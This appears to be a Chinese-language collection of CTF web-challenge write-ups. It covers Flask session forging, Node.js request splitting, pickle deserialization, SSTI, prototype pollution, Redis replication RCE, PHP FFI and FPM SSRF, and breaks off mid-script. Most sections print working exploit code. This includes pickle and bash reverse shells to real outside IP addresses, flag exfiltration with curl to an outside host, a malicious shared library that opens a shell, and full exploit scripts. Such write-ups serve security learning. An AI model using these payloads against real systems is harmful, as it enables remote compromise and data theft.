读取到环境变量中的SECRET_KEY=Ya300IkfSE7qZtNFuMzRj1bJXD8nob8ArGUejqgR,源码读不到但是知道是python环境,flask-session伪造

python3 flask_session_cookie_manager3.py encode -s "私钥"  -t "内容" 
python3 flask_session_cookie_manager3.py encode -s "Ya300IkfSE7qZtNFuMzRj1bJXD8nob8ArGUejqgR"  -t "{'balance':114514}" 

[GYCTF2020]Node Game

源码喵喵

var express = require('express');
var app = express();
var fs = require('fs');
var path = require('path');
var http = require('http');
var pug = require('pug');
var morgan = require('morgan');
const multer = require('multer');
app.use(multer({dest: './dist'}).array('file'));
app.use(morgan('short'));
app.use("/uploads",express.static(path.join(__dirname, '/uploads')))
app.use("/template",express.static(path.join(__dirname, '/template')))
app.get('/', function(req, res) {
    var action = req.query.action?req.query.action:"index";
    if( action.includes("/") || action.includes("\\") ){//action参数过滤斜杠杠
        res.send("Errrrr, You have been Blocked");
    }
    file = path.join(__dirname + '/template/'+ action +'.pug');
    var html = pug.renderFile(file);//用pug引擎渲染
    res.send(html);
});
app.post('/file_upload', function(req, res){
    var ip = req.connection.remoteAddress;//不能用X-Forwarded-For伪造
    var obj = {
        msg: '',
    }
    if (!ip.includes('127.0.0.1')) {
        obj.msg="only admin's ip can use it"
        res.send(JSON.stringify(obj));
        return 
    }
    fs.readFile(req.files[0].path, function(err, data){
        if(err){
            obj.msg = 'upload failed';
            res.send(JSON.stringify(obj));
        }else{
            var file_path = '/uploads/' + req.files[0].mimetype +"/";
          	//任意文件上传并且通过MIME类型来保存文件位置,MIME可控所以可以进行目录穿越
            var file_name = req.files[0].originalname
            var dir_file = __dirname + file_path + file_name
            if(!fs.existsSync(__dirname + file_path)){
                try {
                    fs.mkdirSync(__dirname + file_path)
                } catch (error) {
                    obj.msg = "file type error";
                    res.send(JSON.stringify(obj));
                    return
                }
            }
            try {
                fs.writeFileSync(dir_file,data)
                obj = {
                    msg: 'upload success',
                    filename: file_path + file_name
                } 
            } catch (error) {
                obj.msg = 'upload failed';
            }
            res.send(JSON.stringify(obj));    
        }
    })
})
app.get('/source', function(req, res) {
    res.sendFile(path.join(__dirname + '/template/source.txt'));
});
app.get('/core', function(req, res) {
    var q = req.query.q;
    var resp = "";
    if (q) {
        var url = 'http://localhost:8081/source?' + q//对参数q进行处理并进行本地访问,纯纯SSRF
        console.log(url)
        var trigger = blacklist(url);
        if (trigger === true) {
            res.send("<p>error occurs!</p>");
        } else {
            try {
                http.get(url, function(resp) {
                    resp.setEncoding('utf8');
                    resp.on('error', function(err) {
                    if (err.code === "ECONNRESET") {
                     console.log("Timeout occurs");
                     return;
                    }
                   });

                    resp.on('data', function(chunk) {
                        try {
                         resps = chunk.toString();
                         res.send(resps);
                        }catch (e) {
                           res.send(e.message);
                        }
 
                    }).on('error', (e) => {
                         res.send(e.message);});
                });
            } catch (error) {
                console.log(error);
            }
        }
    } else {
        res.send("search param 'q' missing!");
    }
})
function blacklist(url) {
    var evilwords = ["global", "process","mainModule","require","root","child_process","exec","\"","'","!"];
    var arrayLen = evilwords.length;
    for (var i = 0; i < arrayLen; i++) {
        const trigger = url.includes(evilwords[i]);
        if (trigger === true) {
            return true
        }
    }
}
var server = app.listen(8081, function() {
    var host = server.address().address
    var port = server.address().port
    console.log("Example app listening at http://%s:%s", host, port)
})

能分析的都写到代码注释里面了,下面要利用的一个node.js早期的拆分攻击漏洞,先贴一个大佬wp

拆分攻击,是指在HTTP请求头中伪造出\r\n转义字符,来使得HTTP服务器将一个请求当作两个或多个请求执行,当然,大部分服务器都考虑到了这种情况,会将传来的内容进行转译,node.js也不例外,但是在node.js 8版本及以前,node.js默认使用“latin1”,这是一种单字节编码,不能表示高编号的unicode字符,导致字符会被截断,使得我们需要的\r\n出现,具体可见下面的内容

HTTP请求路径中的unicode字符损坏

一切都开始于我调试的一个非关联的unicode处理issue,并最终将我引向一个错误报告:bug report against the Node.js http module,报告中提到:

img

换句话说,报告者使用Node.js向特定路径发出HTTP请求,但是发出的请求实际上被定向到了不一样的路径!深入研究一下,发现这个问题是由Node.js将HTTP请求写入路径时对unicode字符的有损编码引起的。

虽然用户发出的http请求通常将请求路径指定为字符串,但Node.js最终必须将请求作为原始字节输出。JavaScript支持unicode字符串,因此将它们转换为字节意味着选择并应用适当的unicode编码。对于不包含主体的请求,Node.js默认使用“latin1”,这是一种单字节编码,不能表示高编号的unicode字符,例如🐶

相反,这些字符被截断为其JavaScript表示的最低字节:
img

处理用户输入时的坏数据通常是底层安全问题的危险信号,我知道我们的代码库发出了可能包含用户输入的路径的HTTP请求。所以我立即在Bugzilla中提交了一个保密的安全漏洞,向node安全团队寻求更多信息,然后根据用户提供的unicode字符串寻找我们可能构建URL的地方。

内容源自:https://xz.aliyun.com/t/2894

偷一个大佬的脚本

import requests

payload = """ HTTP/1.1
Host: 127.0.0.1
Connection: keep-alive

POST /file_upload HTTP/1.1
Host: 127.0.0.1
Content-Length: {}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarysAs7bV3fMHq0JXUt

{}""".replace('\n', '\r\n')

body = """------WebKitFormBoundarysAs7bV3fMHq0JXUt
Content-Disposition: form-data; name="file"; filename="lmonstergg.pug"
Content-Type: ../template

-var x = eval("glob"+"al.proce"+"ss.mainMo"+"dule.re"+"quire('child_'+'pro'+'cess')['ex'+'ecSync']('cat /flag.txt').toString()")
-return x
------WebKitFormBoundarysAs7bV3fMHq0JXUt--

""".replace('\n', '\r\n')

payload = payload.format(len(body), body) \
    .replace('+', '\u012b')             \
    .replace(' ', '\u0120')             \
    .replace('\r\n', '\u010d\u010a')    \
    .replace('"', '\u0122')             \
    .replace("'", '\u0a27')             \
    .replace('[', '\u015b')             \
    .replace(']', '\u015d') \
    + 'GET' + '\u0120' + '/'

session = requests.Session()
session.trust_env = False
response1 = session.get('http://8467d768-1851-4764-bf73-e93bedea88bc.node4.buuoj.cn:81/core?q=' + payload)
response = session.get('http://8467d768-1851-4764-bf73-e93bedea88bc.node4.buuoj.cn:81/?action=lmonstergg')
print(response.text)

[watevrCTF-2019]Pickle Store

明示pickle,先解码看看

很明显有加密验证啊,那就不能伪造内容了,只能自己搞个类反弹shell了

import base64
import pickle

class A(object):
    def __reduce__(self):
        return (eval, ("__import__('os').system('nc 43.249.193.167 38901 -e/bin/sh')",))
a = A()
print(base64.b64encode(pickle.dumps(a)))

[CISCN2019 华东北赛区]Web2

XSSSSSSSSSSSSSS,不出网,还是之后XSS平台能用了再说吧

[RootersCTF2019]ImgXweb

注册登录看到jwt,扫目录扫出来密钥,直接伪造admin就行

[GWCTF 2019]你的名字

除了SSTI还能是啥

测试呗,输入个两对花括号发现被滤了,还爆出了是php环境,其实并不是,估计是BUU复现环境的问题

没关系还有命令执行可用,啥符号都没过滤直接拼接就行

[BSidesCF 2020]Hurdles

谢谢这道题,让我狠狠了解了一把curl怎么用

curl -i -X PUT 'http://node4.buuoj.cn:26923/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0a' -u 'player:54ef36ec71201fdf9d1423fd26f97f6b' -A '1337 Browser v.9001' -H "X-Forwarded-For:13.37.13.37,127.0.0.1" -b "Fortune=6265" -H "Accept:text/plain" -H "Accept-Language:ru" -H "origin:https://ctf.bsidessf.net" -H "referer:https://ctf.bsidessf.net/challenges"

curl使用方法

curl -o 文件名 链接 #下载URL内容并重命名为文件名
-O 链接 #以URL结尾做文件名
-L #跟随重定向跳转
-C - -O 链接 #继续被中断的下载
--trace-ascii 文件 链接 #将整个curl命令执行过程写入文件
-X 请求方式 #使用指定的请求方式来发起请求
-F "name=@文件本地路径" #上传文件
--data #带POST参数,可带json
--cookie #携带cookie
--cookie stored_cookies_file_path #读取cookie
--user-agent 或者 -A #带UA头
-H #带请求头
--user username:password #通过Basic Authentication验证
-i #显示完整响应

[HarekazeCTF2019]Easy Notes

代码审计和SESSION文件伪造

看拿flag的要求是$SESSION['admin']==true,在文件下载代码处可看到,生成文章打包后文件和SESSION文件存储在同一文件夹下,可以进行伪造,看文件名处理的代码

$filename = get_user() . '-' . bin2hex(random_bytes(8)) . '.' . $type;
$filename = str_replace('..', '', $filename); // avoid path traversal
$path = TEMP_DIR . '/' . $filename;

此处将文件名命名为用户名-随机8位16进制数.type参数,并且如果有两个.还会将其替换为空,那么我们构造用户名为sess_,type为.最终生成的文件就是sess_-随机8位16进制数,刚好符合SESSION文件存储命名,而又因为下面生成文件使用的是zip方式打包,文本原样写入,我们只需要在文章标题处构造admin|b:1;就能被默认反序列化方式获取,而为了防止前后字符影响,构造标题为xxxx|N;admin|b:1;xxxxxx,通过下载获取SESSID,修改cookie即可

[BSidesCF 2019]Pick Tac Toe

看页面代码,按照对应字符传参可覆盖电脑步数

[RCTF 2019]Nextphp

禁用了一堆函数,并且带有openbase_dir,通过glob协议扫出flag在根目录,然后当前目录还有一个php文件,代码如下

<?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'print_r',
        'arg' => '1'
    ];

    private function run () {
        $this->data['ret'] = $this->data['func']($this->data['arg']);
    }

    public function __serialize(): array {
        return $this->data;
    }

    public function __unserialize(array $data) {
        array_merge($this->data, $data);
        $this->run();
    }

    public function serialize (): string {
        return serialize($this->data);
    }

    public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }

    public function __get ($key) {
        return $this->data[$key];
    }

    public function __set ($key, $value) {
        throw new \Exception('No implemented');
    }

    public function __construct () {
        throw new \Exception('No implemented');
    }
}

此处利用的是php7.4新引进的一项特性:FFI扩展详解

总体的FFI调用逻辑就是

<?php
		$a=FFI::cdef(C中的函数A(C中定义函数A的参数);C中的函数B(C中定义函数B的参数);,"需要加在的动态库");
		$a->A(A参数);
?>

那么在上面的这个序列化内容中我们就可以做如下构造

<?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'FFI::cdef',
        'arg' => 'int system(char *command);'
    ];
    public function serialize (): string {
        //此处两个函数需要保留是因为Serializable是一个接口,其中的属性不再次经过声明是不能进行序列化和反序列化的
        return serialize($this->data);
    }
    public function unserialize($payload) {
    }
}
$a = new A();
echo serialize($a);
?>

由于在反序列化时会执行run函数,将FFI调用后的结果传给$data->ret变量,进而对ret调用即可调用C中的system函数,绕过php的限制,不能直接访问data因为其为保护属性

payload:?a=$a=unserialize('C:1:"A":89:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:26:"int system(char *command);";}}');
$a-> __serialize()['ret']->system('curl -d @/flag 182.61.46.138:12345');

[watevrCTF-2019]Supercalc

合理怀疑SSTI,但是双花括号被过滤了,试试让程序报错,使用1/0,得到报错

那在后面贴上注释,看看里面会不会被执行,传入了没执行

那再传入模版语法试试,成功爆出SECRET_KEY

尝试直接传入提示长度过长,那就伪造session吧

python3 *3.py encode -s "cded826a1e89925035cc05f0907855f7" -t '{"history":[{"code":"__import__(\"os\").popen(\"cat flag.txt\").read()"}]}'

[SWPU2019]Web3

伪造session,访问个404的网站,可以拿到SECRET_KEY:keyqqqwwweee!@#$%^&*

ID处base64解码发现是100,伪造成1试试

python3 *3.py encode -s 'keyqqqwwweee!@#$%^&*' -t '{"id":{"b":"1"},"is_login":True,"password":"admin","username":"admin"}' 

进去了,有源码

@app.route('/upload',methods=['GET','POST'])
def upload():
    if session['id'] != b'1':
        return render_template_string(temp)
    if request.method=='POST':
        m = hashlib.md5()
        name = session['password']
        name = name+'qweqweqwe'
        name = name.encode(encoding='utf-8')
        m.update(name)
        md5_one= m.hexdigest()
        n = hashlib.md5()
        ip = request.remote_addr
        ip = ip.encode(encoding='utf-8')
        n.update(ip)
        md5_ip = n.hexdigest()
        f=request.files['file']
        basepath=os.path.dirname(os.path.realpath(__file__))
        path = basepath+'/upload/'+md5_ip+'/'+md5_one+'/'+session['username']+"/"
        path_base = basepath+'/upload/'+md5_ip+'/'
        filename = f.filename
        pathname = path+filename
        if "zip" != filename.split('.')[-1]:
            return 'zip only allowed'
        if not os.path.exists(path_base):
            try:
                os.makedirs(path_base)
            except Exception as e:
                return 'error'
        if not os.path.exists(path):
            try:
                os.makedirs(path)
            except Exception as e:
                return 'error'
        if not os.path.exists(pathname):
            try:
                f.save(pathname)
            except Exception as e:
                return 'error'
        try:
            cmd = "unzip -n -d "+path+" "+ pathname
            if cmd.find('|') != -1 or cmd.find(';') != -1:
				waf()
                return 'error'
            os.system(cmd)
        except Exception as e:
            return 'error'
        unzip_file = zipfile.ZipFile(pathname,'r')
        unzip_filename = unzip_file.namelist()[0]
        if session['is_login'] != True:
            return 'not login'
        try:
            if unzip_filename.find('/') != -1:
                shutil.rmtree(path_base)
                os.mkdir(path_base)
                return 'error'
            image = open(path+unzip_filename, "rb").read()
            resp = make_response(image)
            resp.headers['Content-Type'] = 'image/png'
            return resp
        except Exception as e:
            shutil.rmtree(path_base)
            os.mkdir(path_base)
            return 'error'
    return render_template('upload.html')
@app.route('/showflag')
def showflag():
    if True == False:
        image = open(os.path.join('./flag/flag.jpg'), "rb").read()
        resp = make_response(image)
        resp.headers['Content-Type'] = 'image/png'
        return resp
    else:
        return "can't give you"

大概流程就是,上传一个zip压缩的图片,然后解压并返回内容展示,看到下面flag在./flag/flag.jpg中,伪造软连接

zip命令中
-y 直接保存符号连接,而非该连接所指向的文件,本参数仅在UNIX之类的系统下有效。

将其上传即可

[网鼎杯2018]Unfinish

二次注入啊二次注入

偷个脚本

import base64   # 用来解16进制
import re       # 正则匹配
import sys
import time
import requests
url="http://a13c51eb-d523-492b-82c0-82566d5c46a1.node4.buuoj.cn:81/"
payload="0'+(hex(hex((substr((select * from flag) from {} for 3)))))+'0" ## 必须保证有flag表,且flag表里只有一行一列,多列需要使用group_concat来连接

result=""
def fund(txt):
    t = re.findall("<span class=\"user-name\">\n(.*?)</span>", txt)
    t = t[0].strip()
    if not int(t) > 0:
        sys.exit(1)
    # t=base64.b16decode(t)
    # t = base64.b16decode(t).decode("ascii")
    t=bytes.fromhex(t).decode('utf-8')  ### 必须要求t为 str
    t=bytes.fromhex(t).decode('utf-8')  ### bytes.fromhex 返回结果是bytes类型的
    # print(t)
    global result
    result+=t
for  a in range(1,100):
    register={
        "email":"1112223@1123111"+str(a),
        "username":payload.format((a-1)*3+1),
        "password":"123"
    }
    login= {
        "email": "1112223@1123111" + str(a),
        "password": "123"
     }
    r=requests.session()
    r1=r.post(url+"register.php",data=register)
    if r1.status_code == 429:
        time.sleep(3)
    else:
        r2=r.post(url+"login.php",data=login)
        if r2.status_code==429:
            time.sleep(3)
        else:
            r3=r.post(url+"index.php")
            if r3.status_code ==429:
                time.sleep(3)
                r3 = r.post(url + "index.php")
                fund(r3.text)
            else:
                fund(r3.text)

    print(result)

[CSAWQual 2016]i_got_id

看代码,对上传文件的处理

if ($cgi->upload('file')) {
    my $file = $cgi->param('file');
    while (<$file>) {
        print "$_";
        print "<br />";
    }
}

其中my $file= $cgi->param( 'file' );中的param()函数返回一个列表的文件。但是只有第一个文件会被放入file变量中。

while ( <$file> )中,<>不能处理字符串,除非是ARGV,因此循环遍历并将每个值使用open()
调用。

对于读文件,如果传入一个ARGV的文件,那么Perl会将传入的参数作为文件名读出来。
所以,在上传的正常文件前加上一个文件上传项ARGV,然后在URL中传入文件路径参数,就可以读取任意文件。

ARGV就是命令行参数

[FBCTF2019]Event

看参数在event_important处有SSTI,再看cookie中有session,肯定是伪造没跑了,先捞出私钥__class__.__init__.__globals__[app].config 'SECRET_KEY': 'fb+wwn!n1yo+9c(9s6!_3o#nqm&&_ej$tez)$_ik36n8d7o6mr#y',然后脚本伪造就行了

from flask import Flask
from flask.sessions import SecureCookieSessionInterface
app = Flask(__name__)
app.secret_key = b'fb+wwn!n1yo+9c(9s6!_3o#nqm&&_ej$tez)$_ik36n8d7o6mr#y'
session_serializer = SecureCookieSessionInterface().get_signing_serializer(app)
@app.route('/')
def index():
    print(session_serializer.dumps("admin"))
index()

[网鼎杯 2020 玄武组]SSRFMe

先使用0.0.0.0拿到hint,redispass is root,说明目标应该是开启了redis服务并且密码是root,此处利用的是Redis主从复制来getshell

Redis主从复制

Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。

所以我们这题的思路是,创建一个恶意的Redis服务器作为Redis主机(master),该Redis主机能够回应其他连接他的Redis从机的响应。有了恶意的Redis主机之后,就会远程连接目标Redis服务器,通过 slaveof 命令将目标Redis服务器设置为我们恶意Redis的Redis从机(slaver)。然后将恶意Redis主机上的exp同步到Reids从机上,并将dbfilename设置为exp.so。最后再控制Redis从机(slaver)加载模块执行系统命令即可。
首先需要这两个项目

恶意so

伪造主机

将恶意so项目中的exp.so文件放到伪造主机项目的目录中,伪造主机项目中更改ssrf那个python文件来生成payload,然后使用server文件来开启伪装服务器,传入执行即可

[网鼎杯 2020 青龙组]notes

给源码了,直接看重点

const undefsafe = require('undefsafe');
edit_note(id, author, raw) {
    undefsafe(this.note_list, id + '.author', author);
    undefsafe(this.note_list, id + '.raw_note', raw);
}
app.route('/edit_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to edit a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        let author = req.body.author;
        let enote = req.body.raw;
        if (id && author && enote) {
            notes.edit_note(id, author, enote);
            res.render('mess', {message: "edit note sucess"});
        } else {
            res.render('mess', {message: "edit note failed"});
        }
    })
app.route('/status')
    .get(function(req, res) {
        let commands = {
            "script-1": "uptime",
            "script-2": "free -m"
        };
        for (let index in commands) {
            exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
                if (err) {
                    return;
                }
                console.log(`stdout: ${stdout}`);
            });
        }
        res.send('OK');
        res.end();
    })

调用了undefsafe模块,该模块在版本小于2.0.3的时候存在原型链污染漏洞

问题就出在对不存在的属性进行赋值的时候,传入__proto__就会导致原型链污染,看代码中undefsafe(this.note_list, id + '.author', author);其中id和auther我们都可控,在author处放入我们想要执行的命令,id处构造__proto__即可完成原型链污染,导致信息传入命令执行

id=__proto__&author=bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F43.249.193.167%2F38901%200%3E%261&raw=kkk

[羊城杯 2020]Easyphp2

进去先用双URL编码绕过waf读源码

<?php
ini_set('max_execution_time', 5);
if ($_COOKIE['pass'] !== getenv('PASS')) {
    setcookie('pass', 'PASS');
    die('<h2>'.'<hacker>'.'<h2>'.'<br>'.'<h1>'.'404'.'<h1>'.'<br>'.'Sorry, only people from GWHT are allowed to access this website.'.'23333');
}
?>
<?php
if (isset($_GET["count"])) {
    $count = $_GET["count"];
    if(preg_match('/;|base64|rot13|base32|base16|<\?php|#/i', $count)){
    	die('hacker!');
    }
    echo "<h2>The Count is: " . exec('printf \'' . $count . '\' | wc -c') . "</h2>";
}
?>

读robots,发现check.php

<?php
$pass = "GWHT";
// Cookie password.
echo "Here is nothing, isn't it ?";
header('Location: /');

更改cookie中的pass,出了个文本框,内容传入count被执行,写个shell进去,然后蚁剑连接,找到flag.txt发现没有读取权限,看README解出密码GWHTCTF,使用su命令切换用户,读取flag

shell=system("printf 'GWHTCTF' | su  -c 'cat /GWHT/system/of/a/down/flag.txt' GWHT");

[HFCTF 2021 Final]easyflask

读文件,读源码,读下环境找到secret_key=glzjin22948575858jfjfjufirijidjitg3uiiuuh,看session,明显一个pickle,伪造上传就行了

#!/usr/bin/python3.6
import os
import pickle

from base64 import b64decode
from flask import Flask, request, render_template, session

app = Flask(__name__)
app.config["SECRET_KEY"] = "*******"

User = type('User', (object,), {
    'uname': 'test',
    'is_admin': 0,
    '__repr__': lambda o: o.uname,
})


@app.route('/', methods=('GET',))
def index_handler():
    if not session.get('u'):
        u = pickle.dumps(User())
        session['u'] = u
    return "/file?file=index.js"


@app.route('/file', methods=('GET',))
def file_handler():
    path = request.args.get('file')
    path = os.path.join('static', path)
    if not os.path.exists(path) or os.path.isdir(path) \
            or '.py' in path or '.sh' in path or '..' in path or "flag" in path:
        return 'disallowed'

    with open(path, 'r') as fp:
        content = fp.read()
    return content


@app.route('/admin', methods=('GET',))
def admin_handler():
    try:
        u = session.get('u')
        if isinstance(u, dict):
            u = b64decode(u.get('b'))
        u = pickle.loads(u)
    except Exception:
        return 'uhh?'

    if u.is_admin == 1:
        return 'welcome, admin'
    else:
        return 'who are you?'


if __name__ == '__main__':
    app.run('0.0.0.0', port=80, debug=False)
import pickle
from base64 import b64encode
import os

User = type('User', (object,), {
    'uname': 'test',
    'is_admin': 1,
    '__repr__': lambda o: o.uname,
    '__reduce__': lambda o: (os.system, ("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'",))

})
u = pickle.dumps(User())
print(b64encode(u).decode())

[HITCON 2016]Leaking

这是一道关于node.js沙箱逃逸的问题
大致说一下 题目的描述,首先定义变量flag,然后我们可以在沙箱里面执行任意的命令,那我们如何逃逸出去呢?

在较早一点的 node 版本中 (8.0 之前),当 Buffer 的构造函数传入数字时, 会得到与数字长度一致的一个 Buffer,并且这个 Buffer 是未清零的。8.0 之后的版本可以通过另一个函数 Buffer.allocUnsafe(size) 来获得未清空的内存。

该题环境是8.0前,我们直接使用Buffer读取内存内容即可

import requests
import time
url = 'http://39115099-9d08-4235-a5d8-300bf6b9ad57.node4.buuoj.cn:81/?data=Buffer(500)'
response = ''
while 'flag' not in response:
        req = requests.get(url)
        response = req.text
        print(req.status_code)
        time.sleep(0.1)
        if 'flag{' in response:
            print(response)
            break

[NPUCTF2020]验证🐎

给了源码,就不放了,直接看关键,首先是一个md5绕过,利用js弱类型相加、

[1]+'1' //'11'
'1'+'1' //'11'
[1]!=='1'
if (first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0]))

然后就是传入的内容

function saferEval(str) {
  if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
    return null;
  }
  return eval(str);
}

这里正则会发现可用函数只有Math,此处使用尖头函数加原型来执行

function (x) {
    return x * x;
}
该函数使用箭头函数可以使用仅仅一行代码搞定!
x => x * x

此处取Math原型可得到Function

Math.constructor.constructor

又因为不能直接传入命令执行,使用String中的String.fromCharCode()来将数字转换成字符串,再利用js中弱类型相加构造出字符串类,构造出如下payload

(Math=>
        (Math=Math.constructor,//此处类型为ƒ String() { [native code] }
                Math.x=Math.constructor(
  							//此处类型为ƒ Function() { [native code] },生成一个匿名函数
                    Math.fromCharCode(114,101,116,117,114,110,32,112,114,111,
                        99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,
                        46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,
                        95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,
                        121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41))()
        )
)(Math+1)

同时使用了箭头函数和自调用函数,+1将Math转换为String类型传入,而后通过Function构造出一个函数并进行自调用来将返回值传入Math.x,最终的返回值也就是Math.x的值

[CISCN2021 Quals]upload

俩文件,一个upload,一个example

//upload
<?php
if (!isset($_GET["ctf"])) {
    highlight_file(__FILE__);
    die();
}

if(isset($_GET["ctf"]))
    $ctf = $_GET["ctf"];

if($ctf=="upload") {
    if ($_FILES['postedFile']['size'] > 1024*512) {
        die("这么大个的东西你是想d我吗?");
    }
    $imageinfo = getimagesize($_FILES['postedFile']['tmp_name']);
    if ($imageinfo === FALSE) {
        die("如果不能好好传图片的话就还是不要来打扰我了");
    }
    if ($imageinfo[0] !== 1 && $imageinfo[1] !== 1) {
        die("东西不能方方正正的话就很讨厌");
    }
    $fileName=urldecode($_FILES['postedFile']['name']);
    if(stristr($fileName,"c") || stristr($fileName,"i") || stristr($fileName,"h") || stristr($fileName,"ph")) {
        die("有些东西让你传上去的话那可不得了");
    }
    $imagePath = "image/" . mb_strtolower($fileName);
    if(move_uploaded_file($_FILES["postedFile"]["tmp_name"], $imagePath)) {
        echo "upload success, image at $imagePath";
    } else {
        die("传都没有传上去");
    }
}
//example
<?php
if (!isset($_GET["ctf"])) {
    highlight_file(__FILE__);
    die();
}

if(isset($_GET["ctf"]))
    $ctf = $_GET["ctf"];

if($ctf=="poc") {
    $zip = new \ZipArchive();
    $name_for_zip = "example/" . $_POST["file"];
    if(explode(".",$name_for_zip)[count(explode(".",$name_for_zip))-1]!=="zip") {
        die("要不咱们再看看?");
    }
    if ($zip->open($name_for_zip) !== TRUE) {
        die ("都不能解压呢");
    }

    echo "可以解压,我想想存哪里";
    $pos_for_zip = "/tmp/example/" . md5($_SERVER["REMOTE_ADDR"]);
    $zip->extractTo($pos_for_zip);
    $zip->close();
    unlink($name_for_zip);
    $files = glob("$pos_for_zip/*");
    foreach($files as $file){
        if (is_dir($file)) {
            continue;
        }
        $first = imagecreatefrompng($file);
        $size = min(imagesx($first), imagesy($first));
        $second = imagecrop($first, ['x' => 0, 'y' => 0, 'width' => $size, 'height' => $size]);
        if ($second !== FALSE) {
            $final_name = pathinfo($file)["basename"];
            imagepng($second, 'example/'.$final_name);
            imagedestroy($second);
        }
        imagedestroy($first);
        unlink($file);
    }
}

[羊城杯 2020]Blackcat

音频最后有源码

<?php
include "initialized.php";
putenv("clandestine=".randomkeys());
if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){
    die('谁!竟敢踩我一只耳的尾巴!');
}
$clandestine = getenv("clandestine");
if(isset($_POST['White-cat-monitor']))
    $clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);
$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);
if($hh !== $_POST['Black-Cat-Sheriff']){
    die('有意瞄准,无意击发,你的梦想就是你要瞄准的目标。相信自己,你就是那颗射中靶心的子弹。');
}
echo exec("nc".$_POST['One-ear']);
?>

hash_hmac函数如果传入的参数为数字会返回false,那么就可以控制$clandestine为false,进而控制哈希值让命令执行

[蓝帽杯 2021]One Pointer PHP

给了源码

<?php
include "user.php";
if($user=unserialize($_COOKIE["data"])){
	$count[++$user->count]=1;
	if($count[]=1){
		$user->count+=1;
		setcookie("data",serialize($user));
	}else{
		eval($_GET["backdoor"]);
	}
}else{
	$user=new User;
	$user->count=1;
	setcookie("data",serialize($user));
}
?>

PHP整数溢出

如果给定的一个整数超出了整型(integer)的范围,将会被解释为浮点型(float)。同样如果执行的运算结果超出了整型(integer)范围,也会返回浮点型(float)。

构造一个conut超出int就能让判断为false,执行命令

O:4:"User":1:{s:5:"count";i:9223372036854775806;}

看phpinfo,ban大量命令,并且设置了open_basedir,那么先绕过这个吧

mkdir("s");
chdir('s');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
readfile('/flag')

没权限读啊,试试读一下cmdline,和nginx配置文件

php-fpm: pool www

是phpfpm,可以利用SSRF,读取phpfpm的配置文件

listen = 127.0.0.1:9001

在9001端口,下一步就是SSRF了

SSRF攻击FPM

我们可以通过SSRF来攻击FPM,但是受限于这道题的disable_functions,我们无法直接SSRF,但是可以利用file_put_contents()的一个特性来实现SSRF:

file_put_contents在使用 ftp 协议时, 会将 data 的内容上传到 ftp 服务器, 由于上面说的pasv模式下, 服务器的地址和端口是可控, 我们可以将地址和端口指到127.0.0.1:9000.同时由于 ftp 的特性,不会有任何的多余内容, 类似gopher协议, 会将data原封不动的发给127.0.0.1:9000, 完美符合攻击fastcgi(FPM)的要求.

首先编写一个恶意so文件

#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void preload (void){
    system("bash -c 'exec bash -i &>/dev/tcp/45.15.131.101/6666 <&1'");
}

然后让靶机下载var_dump(copy('http://45.15.131.101:5111/1.so','/var/www/html/1.so'));

下一步就是出发SSRF攻击FPM挂载so文件来RCE,下面是脚本

<?php
/**
 * Note : Code is released under the GNU LGPL
 *
 * Please do not change the header of this file
 *
 * This library is free software; you can redistribute it and/or modify it under the terms of the GNU
 * Lesser General Public License as published by the Free Software Foundation; either version 2 of
 * the License, or (at your option) any later version.
 *
 * This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
 * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
 *
 * See the GNU Lesser General Public License for more details.
 */
/**
 * Handles communication with a FastCGI application
 *
 * @author      Pierrick Charron <pierrick@webstart.fr>
 * @version     1.0
 */
class FCGIClient
{
    const VERSION_1            = 1;
    const BEGIN_REQUEST        = 1;
    const ABORT_REQUEST        = 2;
    const END_REQUEST          = 3;
    const PARAMS               = 4;
    const STDIN                = 5;
    const STDOUT               = 6;
    const STDERR               = 7;
    const DATA                 = 8;
    const GET_VALUES           = 9;
    const GET_VALUES_RESULT    = 10;
    const UNKNOWN_TYPE         = 11;
    const MAXTYPE              = self::UNKNOWN_TYPE;
    const RESPONDER            = 1;
    const AUTHORIZER           = 2;
    const FILTER               = 3;
    const REQUEST_COMPLETE     = 0;
    const CANT_MPX_CONN        = 1;
    const OVERLOADED           = 2;
    const UNKNOWN_ROLE         = 3;
    const MAX_CONNS            = 'MAX_CONNS';
    const MAX_REQS             = 'MAX_REQS';
    const MPXS_CONNS           = 'MPXS_CONNS';
    const HEADER_LEN           = 8;
    /**
     * Socket
     * @var Resource
     */
    private $_sock = null;
    /**
     * Host
     * @var String
     */
    private $_host = null;
    /**
     * Port
     * @var Integer
     */
    private $_port = null;
    /**
     * Keep Alive
     * @var Boolean
     */
    private $_keepAlive = false;
    /**
     * Constructor
     *
     * @param String $host Host of the FastCGI application
